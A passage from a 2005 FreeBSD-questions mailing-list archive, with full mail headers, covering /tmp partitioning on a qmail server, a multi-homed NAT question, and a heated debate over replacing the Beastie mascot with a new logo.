b=NFGrwRMkfRcqqASwSTCR9+XZcGzu5nCGHR0uLfORBiRpx46uw6kmC2JBiUjdJXrHQ5BX05qy9XfLT4crkkrhyJHOLhRhRp3OdtQxAU98qSTVf6vJWL2hWwo4zLgCzzAm9pfN/sGtYPLJTCAUb97gR6AmeofZaf7jISMtJAZGYCk= Received: by 10.54.14.3 with SMTP id 3mr296319wrn; Fri, 11 Feb 2005 13:35:15 -0800 (PST) Received: by 10.54.28.49 with HTTP; Fri, 11 Feb 2005 13:35:15 -0800 (PST) Message-ID: <8ca9329050211133536f3aa16@mail.gmail.com> Date: Fri, 11 Feb 2005 16:35:15 -0500 From: Chad Morland To: Oliver Leitner In-Reply-To: <20050211211950.200B643D1D@mx1.FreeBSD.org> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <8ca932905021112136ad00369@mail.gmail.com> <20050211211950.200B643D1D@mx1.FreeBSD.org> cc: freebsd-questions@freebsd.org Subject: Re: /tmp on same partition as / X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Chad Morland List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 21:35:17 -0000 Thanks for the responses. I do have a firewall in place and the only open port to the public is 25 which is qmail. I think I'll take your considerations to heart and rebuild the box with its own /tmp partition with noexec. I should have done that in the first place. Thankfully it is not yet in production so its no biggie. -CM On Fri, 11 Feb 2005 22:14:19 +0100, Oliver Leitner wrote: > well, its ok to have /tmp on the same partition as /, as long as other > security measurements work, for example a tripwire setup and logging user > actions of any kind, also having an overview over the logs. > > as long as these work, and you take care whats going on on the box, it does > not really matter where /tmp resides. > > On Friday 11 February 2005 21:13, Chad Morland wrote: > > I'm setting up a mail server at the momment, one of the things that I > > forgot to do was create /tmp as a separate partiton (/ = 2gb). There > > will be no user logins to the machine aside from admins and the only > > thing that it will run is qmail acting as a smarthost (vanilla qmail, > > no amavis or anything of the sort.) > > > > In your opinion is having /tmp on the same partition as / really THAT > > bad in this case? I'm just wondering cause some people have mentioned > > that its a major security risk. Really, I don't think it is for what > > this box is doing. > > > > -CM > > _______________________________________________ > > freebsd-questions@freebsd.org mailing list > > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > > To unsubscribe, send any mail to > > "freebsd-questions-unsubscribe@freebsd.org" > > -- > By reading this mail you agree to the following: > > using or giving out the email address and any > other info of the author of this email is strictly forbidden. > By acting against this agreement the author of this mail > will take possible legal actions against the abuse. > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 21:35:58 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 103E516A4D0 for ; Fri, 11 Feb 2005 21:35:58 +0000 (GMT) Received: from ritamari.vonostingroup.com (ip193-230.digitalrealm.net [216.144.193.230]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7345B43D1F for ; Fri, 11 Feb 2005 21:35:57 +0000 (GMT) (envelope-from laszlof@tvog.net) Received: from adsl-68-72-248-38.dsl.sfldmi.ameritech.net ([68.72.248.38] helo=tvog.net) by ritamari.vonostingroup.com with esmtpa (Exim 4.44 (FreeBSD)) id 1CziRr-000GZH-44; Fri, 11 Feb 2005 16:35:35 -0500 Message-ID: <420D253B.5080004@tvog.net> Date: Fri, 11 Feb 2005 16:35:55 -0500 From: Frank Laszlo User-Agent: Mozilla Thunderbird 0.5 (Windows/20040207) X-Accept-Language: en-us, en MIME-Version: 1.0 To: dgw@liwest.at References: <200502112206.43267.dgw@liwest.at> In-Reply-To: <200502112206.43267.dgw@liwest.at> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - ritamari.vonostingroup.com X-AntiAbuse: Original Domain - freebsd.org X-AntiAbuse: Originator/Caller UID/GID - [0 0] / [26 6] X-AntiAbuse: Sender Address Domain - tvog.net X-Source: X-Source-Args: X-Source-Dir: cc: questions@freebsd.org Subject: Re: How do I set the source address on a multi-homed host? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 21:35:58 -0000 Daniela wrote: >I have two NICs (one inside and one outside interface) with NAT activated. The >problem is that every time I establish a connection with a machine on my LAN, >it uses the address of the outside interface as the source of the packets, >which creates problems with my firewall. How do I tell my machine to use the >other address whenever I connect to a local machine? > >Daniela > > > Please fix your system time, either use ntpd or ntpdate. __________________________________________________ Frank Laszlo System Administrator The VonOstin Group Email: laszlof@tvog.net WWW: http://www.vonostingroup.com Mobile: 248-863-7584 From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 21:45:01 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id ABCD616A4CE for ; Fri, 11 Feb 2005 21:45:01 +0000 (GMT) Received: from gromit.dlib.vt.edu (gromit.dlib.vt.edu [128.173.49.29]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3F1C343D45 for ; Fri, 11 Feb 2005 21:45:01 +0000 (GMT) (envelope-from paul@gromit.dlib.vt.edu) Received: from zappa.Chelsea-Ct.Org (pool-151-199-113-125.roa.east.verizon.net [151.199.113.125]) by gromit.dlib.vt.edu (8.13.1/8.13.1) with ESMTP id j1BLiwAO036371 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 11 Feb 2005 16:44:59 -0500 (EST) (envelope-from paul@gromit.dlib.vt.edu) Received: from zappa.Chelsea-Ct.Org (localhost.Chelsea-Ct.Org [127.0.0.1]) by zappa.Chelsea-Ct.Org (8.13.1/8.13.1) with ESMTP id j1BLiqdx027314 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 11 Feb 2005 16:44:52 -0500 (EST) (envelope-from paul@gromit.dlib.vt.edu) Received: (from paul@localhost) by zappa.Chelsea-Ct.Org (8.13.1/8.13.1/Submit) id j1BLiqq0027313; Fri, 11 Feb 2005 16:44:52 -0500 (EST) (envelope-from paul@gromit.dlib.vt.edu) X-Authentication-Warning: zappa.Chelsea-Ct.Org: paul set sender to paul@gromit.dlib.vt.edu using -f From: Paul Mather To: freebsd-questions@freebsd.org In-Reply-To: <20050211190008.CCCA216A4E5@hub.freebsd.org> References: <20050211190008.CCCA216A4E5@hub.freebsd.org> Content-Type: text/plain Content-Transfer-Encoding: 7bit Date: Fri, 11 Feb 2005 16:44:51 -0500 Message-Id: <1108158291.35921.11.camel@zappa.Chelsea-Ct.Org> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 FreeBSD GNOME Team Port Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 21:45:01 -0000 On Fri, 11 Feb 2005 12:04:34 -0600, "Andrew L. Gould" wrote: > On Friday 11 February 2005 08:14 am, Dag-Erling Smrgrav wrote: > > cpghost@cordula.ws writes: > > > Imagine Linux dropping Tux for some meanlingless, lifeless logo? > > > > I'm glad you asked. > > > > Tux is a mascot, not a logo. These are Linux logos: > > > > http://images.slashdot.org/topics/topiccaldera.gif > > http://images.slashdot.org/topics/topicdebian.gif > > http://images.slashdot.org/topics/topicmandrake.gif > > http://images.slashdot.org/topics/topicredhat.gif > > http://images.slashdot.org/topics/topicsuse.gif > > http://images.slashdot.org/topics/topicturbolinux.gif > > > > > > > DES > > No Slackware? In my opinion, Slackware has the widest deviation in > professionalism between their logo and mascot. > > logo(s): > http://slackware.com/grfx/shared/logo.png > http://store.slackware.com/images/nav/s_topleft.png > > mascot (pipe-smoking penguin): > http://store.slackware.com/cgi-bin/store/slacklapel?id=E844B2UK:mv_pc=379 Quite a deviation indeed, especially considering their mascot is an obvious nod to the Church of the SubGenius (http://www.subgenius.com): the true purveyors of SLACK! ;-) Cheers, Paul. -- e-mail: paul@gromit.dlib.vt.edu "Throw this posting against the wall RIGHT NOW!" --- J. R. "Bob" Dobbs From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 21:51:56 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B047816A4CE for ; Fri, 11 Feb 2005 21:51:56 +0000 (GMT) Received: from lorna.circlesquared.com (host217-45-219-85.in-addr.btopenworld.com [217.45.219.85]) by mx1.FreeBSD.org (Postfix) with ESMTP id 93C1043D2F for ; Fri, 11 Feb 2005 21:51:55 +0000 (GMT) (envelope-from peter@circlesquared.com) Received: from localhost.circlesquared.com (localhost.circlesquared.com [127.0.0.1])j1BLpxlC074189; Fri, 11 Feb 2005 21:51:59 GMT (envelope-from peter@circlesquared.com) From: Peter Risdon To: Garance A Drosihn In-Reply-To: References: <649200329.20050211081852@wanadoo.fr> <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> Content-Type: text/plain Date: Fri, 11 Feb 2005 21:51:59 +0000 Message-Id: <1108158719.23699.86.camel@lorna.circlesquared.com> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 FreeBSD GNOME Team Port Content-Transfer-Encoding: 7bit cc: "freebsd-questions@freebsd.org" cc: Bart Silverstrim Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 21:51:56 -0000 On Fri, 2005-02-11 at 15:56 -0500, Garance A Drosihn wrote: > At 8:00 AM -0500 2/11/05, Bart Silverstrim wrote: [...] > >Since when did FreeBSD, a project always driven by volunteers and > >not by commercial matters, FreeBSD is a commercially viable operating system. I happen to think it's the best server OS there is - for businesses. This thread has made it seem, sometimes, as though the touch of commerce is anathema, which is silly. As I understand it, the support of commercial organisations is vital to the project. If you want a project that pisses on its sponsors, there's always OpenBSD. > suddenly gain a marketing department > >that is trying to steer FreeBSD into the business sector? You mean it isn't in the business sector? It's just for geeks to put on their home computers? Somebody ought to mention that to Yahoo. And let's hope nobody who is having FreeBSD pitched to them as a viable server OS for their business reads that remark as they google. > Is > >FreeBSD starting to have marketing dictate technology instead of > >technology dictate marketing? What changes would a logo require of the underlying technology of FreeBSD? That's just rhetoric. > > Some of those volunteers would like to see a new logo. Others > would not. The vast majority probably do not care at all. Somehow > the ones who like the present logo seem to think they can simply > dismiss all comments from the other volunteers who would like a > new logo, as if the work done by THOSE volunteers is somehow > irrelevant. > I haven't noticed anyone suggest that Beastie be banished, just that a proper logo might be appropriate now. Here's a suggestion: Beastie stays as the mascot. People use it as and when they wish, subject to conditions which are at the discretion of a private individual and not the FreeBSD project. And there's a new logo, as opposed to mascot, if the competition throws up one people like. By the way, thanks very much indeed for the work you're doing as a volunteer committer. Without that, we wouldn't be here burning up bandwidth on a technical support mailing list. Peter. From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 21:54:33 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id ABEA716A4CE for ; Fri, 11 Feb 2005 21:54:33 +0000 (GMT) Received: from hobbiton.shire.net (hobbiton.shire.net [166.70.252.250]) by mx1.FreeBSD.org (Postfix) with ESMTP id 78A7743D31 for ; Fri, 11 Feb 2005 21:54:33 +0000 (GMT) (envelope-from chad@shire.net) Received: from [67.161.222.227] (helo=[192.168.99.68]) by hobbiton.shire.net with esmtpsa (TLSv1:RC4-SHA:128) (Exim 4.43) id 1CzikD-000CEy-30; Fri, 11 Feb 2005 14:54:33 -0700 In-Reply-To: <420D24EE.40606@tvog.net> References: <649200329.20050211081852@wanadoo.fr> <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> <420D24EE.40606@tvog.net> Mime-Version: 1.0 (Apple Message framework v619) Message-Id: <805E7F3C-7C77-11D9-B134-000D933E3CEC@shire.net> From: Chad Leigh -- Shire.Net LLC Date: Fri, 11 Feb 2005 14:54:28 -0700 To: Frank Laszlo X-Mailer: Apple Mail (2.619) X-SA-Exim-Connect-IP: 67.161.222.227 X-SA-Exim-Mail-From: chad@shire.net Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Checker-Version: SpamAssassin 3.0.0 (2004-09-13) on hobbiton.shire.net X-Spam-Status: No, score=-0.1 required=5.0 tests=AWL,BAYES_50,PLING_PLING autolearn=disabled version=3.0.0 X-Spam-Level: X-SA-Exim-Version: 4.1+cvs (built Mon, 23 Aug 2004 08:44:05 -0700) X-SA-Exim-Scanned: Yes (on hobbiton.shire.net) cc: freebsd-questions@freebsd.org cc: Bart Silverstrim Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 21:54:33 -0000 On Feb 11, 2005, at 2:34 PM, Frank Laszlo wrote: > Chad Leigh -- Shire.Net LLC wrote: > >> >> On Feb 11, 2005, at 6:00 AM, Bart Silverstrim wrote: >> >>> Since when did FreeBSD, a project always driven by volunteers and >>> not by commercial matters, suddenly gain a marketing department that >>> is trying to steer FreeBSD into the business sector? Is FreeBSD >>> starting to have marketing dictate technology instead of technology >>> dictate marketing? >> >> >> Sorry, but this does not make sense. >> >> FreeBSD is driven by commercial matters. Many of the people that >> work on it are paid to work on it by their employers, who are using >> it commercially. FreeBSD will wither away if it does not continue >> to receive extensive commercial support like Linux gets. > > I wouldnt say many, there are few commiters who are actually paid to > work on it, most commiters/developers do it as a hobby. > many in no way means a majority. many is more than a few, where a few is a handful (3-5 or so). There are probably more than a handful who do it as more than a hobby. A lot of good people do it on their own time as well, and I salute that. But a lot of people like Yahoo and others (Apple probably) submit stuff that ends up in FreeBSD and they pay their people to do so. Lots of features, like jails as I understand it, started off by someone getting paid to implement stuff. These things then get added. best Chad From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 21:59:32 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 66B7516A4CE for ; Fri, 11 Feb 2005 21:59:32 +0000 (GMT) Received: from smtp4.server.rpi.edu (smtp4.server.rpi.edu [128.113.2.4]) by mx1.FreeBSD.org (Postfix) with ESMTP id F09DA43D39 for ; Fri, 11 Feb 2005 21:59:31 +0000 (GMT) (envelope-from gad@FreeBSD.org) Received: from [128.113.24.47] (gilead.netel.rpi.edu [128.113.24.47]) by smtp4.server.rpi.edu (8.13.0/8.13.0) with ESMTP id j1BLxULL001310; Fri, 11 Feb 2005 16:59:31 -0500 Mime-Version: 1.0 Message-Id: In-Reply-To: References: Date: Fri, 11 Feb 2005 16:59:29 -0500 To: "Ted Mittelstaedt" , From: Garance A Drosehn Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-CanItPRO-Stream: default X-RPI-SA-Score: undef - spam-scanning disabled X-Scanned-By: CanIt (www . canit . ca) Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 21:59:32 -0000 At 10:09 PM -0800 2/10/05, Ted Mittelstaedt wrote: > > > While you seem determined to pretend that Robert Watson is > > somehow the sole person interested in this, let me note I am > > one of the FreeBSD committers who would like to see some new > > ideas for a logo. > >Good. At least you have my respect now for growing some balls >and admitting it publically. I'm glad you are quick to show just how irrationally inflammatory you are when it comes to this issue. >Would the rest of the anti-beastie committers please come out >of the bushes now? PHK has commented in one of these threads. DES has also commented. One other committer commented (who I can't remember at the moment). And you love to scream about the evil Robert Watson (*), and how this is his personal double-secret plot, so I assume he must have commented. And frankly, most FreeBSD commiters do not read the -advocacy or -questions mailing lists (I never read advocacy, for instance). So maybe only three or four committers have explicitly expressed support for a LOGO CONTEST. How many committers have responded here saying just how much they hate the idea of even running the contest? And let me say once again, this is FOR a LOGO contest -- which is not the same as being "Anti-beastie". All of us have said that the Beastie will remain as a mascot. Kirk and GNN are not going to recall their recent FreeBSD book simply to change the nicely- drawn Beastie on that cover to some simple FreeBSD logo. We keep saying the Beastie remains as a mascot, and you keep talking out of your ass, with its over-abundance of flying black helicopters (* - aside: it's funny how one of the other lists is praising Robert for his high-quality and informative posts, and all the hard work he has done on FreeBSD in the past few months. Those people are talking about making an archive about every one of his posts for future reference, because he constantly contributes so much useful information to end-users. But let someone suggest that he MIGHT be in favor of this PUBLIC CONTEST for a FreeBSD logo, and immediately some ungrateful bastard is treating Robert like he is evil incarnate. It is amazing just how pathetic your memory is when it comes to people who contribute so much to this project -- and you do that in defense of a cartoon image. It's a pity you have more respect for the cartoon than for the developers who work on the source code) -- Garance Alistair Drosehn = gad@gilead.netel.rpi.edu Senior Systems Programmer or gad@FreeBSD.org Rensselaer Polytechnic Institute; Troy, NY; USA From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 22:09:32 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0A3A316A4CE for ; Fri, 11 Feb 2005 22:09:32 +0000 (GMT) Received: from smtp1.server.rpi.edu (smtp1.server.rpi.edu [128.113.2.1]) by mx1.FreeBSD.org (Postfix) with ESMTP id A304843D1F for ; Fri, 11 Feb 2005 22:09:31 +0000 (GMT) (envelope-from drosih@rpi.edu) Received: from [128.113.24.47] (gilead.netel.rpi.edu [128.113.24.47]) by smtp1.server.rpi.edu (8.13.0/8.13.0) with ESMTP id j1BM9Tl8016941; Fri, 11 Feb 2005 17:09:30 -0500 Mime-Version: 1.0 Message-Id: In-Reply-To: <420D24EE.40606@tvog.net> References: <649200329.20050211081852@wanadoo.fr> <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> <420D24EE.40606@tvog.net> Date: Fri, 11 Feb 2005 17:09:28 -0500 To: Frank Laszlo , "Chad Leigh -- Shire.Net LLC" From: Garance A Drosihn Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-CanItPRO-Stream: default X-RPI-SA-Score: undef - spam-scanning disabled X-Scanned-By: CanIt (www . canit . ca) cc: freebsd-questions@freebsd.org Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 22:09:32 -0000 At 4:34 PM -0500 2/11/05, Frank Laszlo wrote: >Chad Leigh -- Shire.Net LLC wrote: > >>FreeBSD is driven by commercial matters. Many of the people that >>work on it are paid to work on it by their employers, who are >>using it commercially. > >I wouldnt say many, there are few commiters who are actually paid >to work on it, most commiters/developers do it as a hobby. ...but there is a mighty long list who would love to get paid to work on FreeBSD! :-) Many of us are paid to work on some Linux machines, and I think it would be much much nicer if we could convince our employer to go with FreeBSD instead. -- Garance Alistair Drosehn = gad@gilead.netel.rpi.edu Senior Systems Programmer or gad@freebsd.org Rensselaer Polytechnic Institute or drosih@rpi.edu From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 22:11:02 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 457AA16A4CE for ; Fri, 11 Feb 2005 22:11:02 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id BACB743D1F for ; Fri, 11 Feb 2005 22:11:01 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1102.wanadoo.fr (SMTP Server) with ESMTP id 9F6E61C0009B for ; Fri, 11 Feb 2005 23:11:00 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1102.wanadoo.fr (SMTP Server) with ESMTP id 705181C00091 for ; Fri, 11 Feb 2005 23:11:00 +0100 (CET) X-ME-UUID: 20050211221100460.705181C00091@mwinf1102.wanadoo.fr Date: Fri, 11 Feb 2005 23:11:00 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <389541039.20050211231100@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: References: <649200329.20050211081852@wanadoo.fr> <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 22:11:02 -0000 Chad Leigh -- Shire.Net LLC writes: > Many of the people that work > on it are paid to work on it by their employers, who are using it > commercially. That would mean that their employers hold a copyright in the FreeBSD code written by their employees; this is a classic implicit work-for-hire arrangement. Have these people signed an agreement with their employers that waives the work-for-hire copyright interest? -- Anthony From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 22:12:34 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3690F16A4CE; Fri, 11 Feb 2005 22:12:34 +0000 (GMT) Received: from ms-smtp-03-eri0.socal.rr.com (ms-smtp-03-qfe0.socal.rr.com [66.75.162.135]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0F8D943D2D; Fri, 11 Feb 2005 22:12:34 +0000 (GMT) (envelope-from hoe-waa@hawaii.rr.com) Received: from localhost.localdomain (cpe-66-8-191-104.hawaii.rr.com [66.8.191.104])j1BMCUuY009038; Fri, 11 Feb 2005 14:12:31 -0800 (PST) From: Robert Marella To: Ted Mittelstaedt In-Reply-To: References: Content-Type: text/plain Date: Fri, 11 Feb 2005 12:15:50 -1000 Message-Id: <1108160150.45718.5.camel@p4> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 FreeBSD GNOME Team Port Content-Transfer-Encoding: 7bit X-Virus-Scanned: Symantec AntiVirus Scan Engine cc: freebsd-questions@freebsd.org cc: Garance A Drosehn Subject: RE: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 22:12:34 -0000 On Thu, 2005-02-10 at 21:31 -0800, Ted Mittelstaedt wrote: > > What if they put it > to a vote and the userbase all votes for logos that clearly > represent the Beastie image? What will have been the point of > the contest? I am a FreeBSD user. I read and sometimes respond to several of the lists. I have donated money and will continue to donate money to FreeBSD no matter what the logo will be. I also donate money and volunteer my time to Hospice. I do not get nor expect to be able to vote on any issues that may arise at a board meeting for The Hospice of Kona. Why in the world should I expect to be able to vote on whether a new logo is adopted or not? Robert From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 22:13:06 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 85BE416A4CF for ; Fri, 11 Feb 2005 22:13:06 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3B17C43D31 for ; Fri, 11 Feb 2005 22:13:06 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1103.wanadoo.fr (SMTP Server) with ESMTP id 722AC1C000A0 for ; Fri, 11 Feb 2005 23:13:05 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1103.wanadoo.fr (SMTP Server) with ESMTP id 56C0D1C00097 for ; Fri, 11 Feb 2005 23:13:05 +0100 (CET) X-ME-UUID: 20050211221305355.56C0D1C00097@mwinf1103.wanadoo.fr Date: Fri, 11 Feb 2005 23:13:03 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <566767782.20050211231303@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <420D24EE.40606@tvog.net> References: <649200329.20050211081852@wanadoo.fr> <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> <420D24EE.40606@tvog.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 22:13:06 -0000 Frank Laszlo writes: > I wouldnt say many, there are few commiters who are actually paid to > work on it, most commiters/developers do it as a hobby. What written agreements do these committers have with their employers? Normally, if you are paid to write something by your employer, your employer owns the copyright in what you write. So unless these committers have specific agreements with their employers to the contrary, they are adding code to FreeBSD that is encumbered by copyrights owned by their employer, and can no longer be freely distributed. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 22:13:46 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4946F16A4CE for ; Fri, 11 Feb 2005 22:13:46 +0000 (GMT) Received: from ritamari.vonostingroup.com (ip193-230.digitalrealm.net [216.144.193.230]) by mx1.FreeBSD.org (Postfix) with ESMTP id 74B4443D1F for ; Fri, 11 Feb 2005 22:13:45 +0000 (GMT) (envelope-from laszlof@tvog.net) Received: from adsl-68-72-248-38.dsl.sfldmi.ameritech.net ([68.72.248.38] helo=tvog.net) by ritamari.vonostingroup.com with esmtpa (Exim 4.44 (FreeBSD)) id 1Czj2R-000HAk-Jw; Fri, 11 Feb 2005 17:13:23 -0500 Message-ID: <420D2E17.9040805@tvog.net> Date: Fri, 11 Feb 2005 17:13:43 -0500 From: Frank Laszlo User-Agent: Mozilla Thunderbird 0.5 (Windows/20040207) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Garance A Drosihn References: <649200329.20050211081852@wanadoo.fr> <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> <420D24EE.40606@tvog.net> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - ritamari.vonostingroup.com X-AntiAbuse: Original Domain - freebsd.org X-AntiAbuse: Originator/Caller UID/GID - [0 0] / [26 6] X-AntiAbuse: Sender Address Domain - tvog.net X-Source: X-Source-Args: X-Source-Dir: cc: freebsd-questions@freebsd.org cc: "Chad Leigh -- Shire.Net LLC" Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 22:13:46 -0000 Garance A Drosihn wrote: > At 4:34 PM -0500 2/11/05, Frank Laszlo wrote: > >> Chad Leigh -- Shire.Net LLC wrote: >> >>> FreeBSD is driven by commercial matters. Many of the people that >>> work on it are paid to work on it by their employers, who are >>> using it commercially. >> >> >> I wouldnt say many, there are few commiters who are actually paid >> to work on it, most commiters/developers do it as a hobby. > > > ...but there is a mighty long list who would love to get paid to > work on FreeBSD! :-) Many of us are paid to work on some Linux > machines, and I think it would be much much nicer if we could > convince our employer to go with FreeBSD instead. > amen brotha. __________________________________________________ Frank Laszlo System Administrator The VonOstin Group Email: laszlof@tvog.net WWW: http://www.vonostingroup.com Mobile: 248-863-7584 From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 22:16:19 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2310F16A4CE for ; Fri, 11 Feb 2005 22:16:19 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr 